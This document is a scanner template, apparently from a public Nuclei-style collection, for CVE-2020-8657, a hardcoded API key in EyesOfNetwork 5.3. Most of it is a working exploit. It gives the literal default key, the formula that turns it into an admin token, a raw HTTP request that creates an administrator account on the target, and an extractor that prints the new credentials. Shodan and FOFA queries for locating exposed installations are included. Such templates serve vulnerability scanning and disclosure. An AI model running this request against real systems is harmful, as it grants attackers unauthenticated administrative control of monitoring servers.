An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.
PoC代码[已公开]
id: CVE-2020-8657
info:
name: EyesOfNetwork - Hardcoded API Key
author: daffainfo
severity: critical
description: |
An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.
impact: |
Successful exploitation allows an attacker to create administrative users and gain unauthorized access to the EyesOfNetwork management system.
remediation: |
Upgrade to a newer version of EyesOfNetwork or change the default hardcoded API key in the configuration.
reference:
- https://www.exploit-db.com/exploits/48025
- https://nvd.nist.gov/vuln/detail/CVE-2020-8657
classification:
cve-id: CVE-2020-8657
epss-score: 0.85174
epss-percentile: 0.99315
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-798
cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: eyesofnetwork
product: eyesofnetwork
shodan-query: html:"EyesOfNetwork"
fofa-query: title="EyesOfNetwork"
tags: cve,cve2020,eyesofnetwork,hardcoded-key,kev,vkev
variables:
key: "€On@piK3Y"
userid: "1"
username: "{{randstr}}"
password: "{{randstr}}"
http:
- raw:
- |
POST /eonapi/createEonUser?username=admin&apiKey={{ sha256(md5(key + userid) + Host) }} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"user_name":"{{username}}","user_group":"admins","user_password":"{{password}}"}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"api_version"'
- "200 OK"
- "A new user have been successfully inserted"
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
extractors:
- type: dsl
dsl:
- '"Username: " + username + ". Password: "+ password'
# digest: 4a0a00473045022100e5f1be719033780f93a40b27f734328fe85e05fd1f6aaaddc5bbc86c0b66aa7a022035cb00f6b5848c4771360ebce81f2258fb1ba1f5e6bd3fe31ebe5bf9dc6c36ed:922c64590222798bb761d5b6d8e72950